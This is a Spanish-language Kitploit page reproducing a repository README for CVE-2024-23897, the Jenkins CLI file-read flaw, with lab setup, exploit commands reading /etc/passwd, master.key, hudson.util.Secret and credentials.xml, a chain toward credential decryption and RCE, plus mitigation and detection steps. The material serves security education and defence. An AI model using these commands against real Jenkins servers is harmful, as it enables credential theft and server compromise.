Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2024-23897-jenkins_lfi_reproduction — Reproducción de cve-2024-23897-jenkins_lfi_reproduction | Kitploit
Herramientas/GitHubGitHub/razureink/cve-2024-23897-jenkins_lfi_reproduction
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubrazureink/cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction

Reproducción de cve-2024-23897-jenkins_lfi_reproduction

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 27 díasAún no revisado

CVE-2024-23897 — Vulnerabilidad de Lectura Arbitraria de Archivos en la CLI de Jenkins

CVSS 9.8 (CRÍTICO) — Explotada activamente en la naturaleza


Resumen

CVE-2024-23897 es una vulnerabilidad crítica de lectura arbitraria de archivos en la interfaz de línea de comandos (CLI) de Jenkins. La CLI de Jenkins utiliza la librería args4j para analizar los argumentos de los comandos. Esta librería expande el carácter @ seguido de una ruta de archivo (@/ruta/al/archivo) leyendo el contenido de dicho archivo e inyectándolo como argumentos. Un atacante no autenticado puede explotar este comportamiento para leer archivos arbitrarios del sistema de archivos del controlador de Jenkins sin requerir autenticación alguna.

Cuando se combina con la extracción de credentials.xml, secretos o master.key, esta vulnerabilidad puede conducir al compromiso total del servidor (RCE).


Detalles Técnicos

La Expansión del Carácter @ en args4j

La librería args4j (utilizada por el analizador de comandos de la CLI de Jenkins) implementa una funcionalidad de conveniencia: cuando un argumento comienza con @, trata el resto del argumento como una ruta de archivo, lee el contenido de ese archivo y lo divide en múltiples argumentos. Esto estaba pensado para permitir pasar listas grandes de argumentos mediante archivos.

Ejemplo: java -jar jenkins-cli.jar who-am-i @/etc/passwd haría que args4j leyera /etc/passwd y usara su contenido como argumentos para el comando who-am-i.

Dado que ciertos comandos de la CLI (como connect-node) devuelven o incluyen valores de argumentos en mensajes de error/respuesta, un atacante puede observar el contenido de los archivos en la respuesta de la CLI.

El Flujo del Ataque

  1. El atacante se conecta al puerto de la CLI de Jenkins (por defecto: 50000, o al endpoint HTTP de la CLI)
  2. El atacante envía un comando CLI con un argumento como @/etc/passwd
  3. El analizador args4j de Jenkins lee el archivo y lo expande en argumentos
  4. El comando CLI procesa esos argumentos y el contenido del archivo se filtra en la respuesta o en el mensaje de error
  5. El atacante extrae archivos sensibles para escalar privilegios

Por Qué Esto Es Crítico

  • No se requiere autenticación — El puerto de la CLI es accesible sin credenciales
  • Sin requisitos previos — No se necesitan permisos especiales ni características de Jenkins habilitadas
  • Impacto generalizado — Decenas de miles de instancias de Jenkins expuestas
  • Escalada de privilegios — Leer secretos/master.key permite el descifrado de credenciales y RCE

Versiones Afectadas

ProductoAfectadaCorregida
Jenkins (semanal)≤ 2.4412.442
Jenkins LTS≤ 2.426.22.426.3
Jenkins LTS (anterior)≤ 2.414.22.414.3

Nota: Todas las versiones de Jenkins anteriores a las correcciones listadas arriba son vulnerables. La funcionalidad CLI ha existido en Jenkins durante muchos años, por lo que las versiones más antiguas también están afectadas aunque no se listen explícitamente.


Pasos de Reproducción

Configuración del Entorno

  1. Ejecutar una instancia vulnerable de Jenkins con Docker:

    root@kitploit:~
    docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
    

    Anota la contraseña de administrador inicial de los registros del contenedor.

  2. Verificar que el puerto de la CLI está abierto:

    root@kitploit:~
    # El puerto de la CLI de Jenkins (TCP 50000) debería estar escuchando
    # O puedes usar el endpoint HTTP de la CLI en /cli/
    
  3. Instalar Python 3.8+ con las dependencias requeridas:

    root@kitploit:~
    pip install requests
    

Reproducción mediante PoC en Python

root@kitploit:~
# Prueba básica de lectura de archivo — leer /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd

# Leer secretos de Jenkins (ruta de escalada)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

Pasos Manuales de Reproducción (con jenkins-cli.jar)

root@kitploit:~
# Descargar el jar de la CLI de Jenkins
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

# Leer /etc/passwd a través de la CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1

# Leer secretos de Jenkins
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1

Salida Esperada

El contenido del archivo aparece en la respuesta de la CLI o en la salida de error. Por ejemplo, leer /etc/passwd devolvería las entradas del archivo de contraseñas del sistema.


Prueba de Concepto (PoC) — Cadena de Explotación Completa

Paso 1: Enumerar el Entorno de Jenkins

root@kitploit:~
# Leer la configuración para entender el entorno
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml

# Leer usuarios y permisos
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml

Paso 2: Extraer Secretos para RCE

root@kitploit:~
# Extraer la clave maestra (usada para cifrar credenciales)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key

# Extraer la clave hudson.util.Secret
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret

# Extraer credenciales (cifradas)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

Paso 3: Descifrar Credenciales y Lograr RCE

Con master.key y hudson.util.Secret, puedes descifrar las credenciales de Jenkins utilizando herramientas como jenkins_decrypt.py o el script decrypt.py de las referencias de CVE-2024-23897. Las credenciales descifradas (claves SSH, tokens de API, claves de proveedores de nube) pueden usarse entonces para lograr ejecución remota de código en nodos conectados y entornos de nube.


Mitigación

Corrección Inmediata

Detección

Buscar en los registros de acceso o en los registros de auditoría de la CLI argumentos que contengan @ seguido de rutas de archivo:

root@kitploit:~
# grep para acceso CLI sospechoso
grep -r "@/" /var/log/jenkins/access.log

# Verificar conexiones CLI desde IPs inesperadas
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"

Solución Alternativa (si no se puede parchear)

Si no es posible parchear de inmediato, deshabilita el puerto de la CLI configurando la opción --webroot o bloqueando el puerto 50000. Sin embargo, ten en cuenta que el endpoint HTTP de la CLI (/cli/) dentro de la interfaz web puede seguir siendo explotable, por lo que se recomienda encarecidamente parchear.


Referencias

  • Aviso de Seguridad de Jenkins 2024-01-24
  • Entrada NVD — CVE-2024-23897
  • Entrada NVD — CVE-2024-23898 (DoS de la CLI relacionado)
  • Documentación de expansión de archivo @ de la librería args4j
  • Catálogo de Vulnerabilidades Explotadas Conocidas de CISA

Aviso Legal

Este repositorio es solo para pruebas de seguridad autorizadas y fines educativos. La explotación no autorizada de esta vulnerabilidad es ilegal. Los autores no son responsables del mal uso de esta información. Solo prueba en sistemas que te pertenezcan o para los que tengas permiso explícito por escrito para probar.

Descargar herramienta
AcciónDetalles
Actualizar JenkinsActualizar a Jenkins 2.442+ o LTS 2.426.3+ / 2.414.3+
Deshabilitar el puerto de la CLIBloquear el puerto TCP 50000 en el firewall si no es necesario
Restringir el acceso de redLimitar el acceso al puerto de la CLI de Jenkins solo a redes de confianza
Habilitar autenticaciónAsegurarse de que Jenkins requiera autenticación para todo acceso
Monitorear registrosBuscar comandos CLI con argumentos @ en los registros de acceso